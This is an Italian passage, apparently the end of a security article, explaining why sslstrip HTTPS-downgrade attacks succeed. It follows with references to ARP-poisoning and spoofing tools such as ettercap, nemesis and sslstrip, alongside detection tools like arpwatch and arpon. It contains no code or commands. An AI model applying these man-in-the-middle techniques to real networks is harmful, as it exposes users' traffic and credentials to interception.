L'attacco tramite ssltrip fa leva su due cose: la possibilita' di un sito di accettare anche traffico in chiaro, e l'esperienza dell'utente. Per il primo punto, e' una questione server-side: e' un tradeoff tra sicurezza ed usabilita, ed ogni server sceglie in base alle sue esigenze (mai quelle dell'utente); per il secondo punto, e' un gioco in mano all'utente: se visito per la prima volta un sito che farebbe uso di HTTPS, tramite sslstrip io utente navigo in HTTP senza rendermi conto di nulla, se invece ho so' che un determinato sito fa uso di HTTPS, il fatto di non vederlo piu' utilizzato potrebbe insospettirmi.
Il resto e' fuffa.
[o] Note
----------------------------------------------------------
[1] http://www.arpalert.org
http://sourceforge.net/projects/darpwatch/
http://freequaos.host.sk/arpwatch/
[2] http://www.studenti.unina.it/~dav.barbato/papers/arpcachepoisoning.txt
[3] http://ettercap.sourceforge.net
http://www.studenti.unina.it/~dav.barbato/codes/barpo.html
http://nemesis.sourceforge.net/
[4] http://www.securesphere.net/download/papers/dnsspoof.htm
[5] http://www.david-guembel.de/index.php?id=6
[6] http://www.securityfocus.com/advisories/3087
[7] http://www.thoughtcrime.org/software/sslstrip/
[8] http://arpon.sourceforge.net/- Источник
- www.exploit-db.com
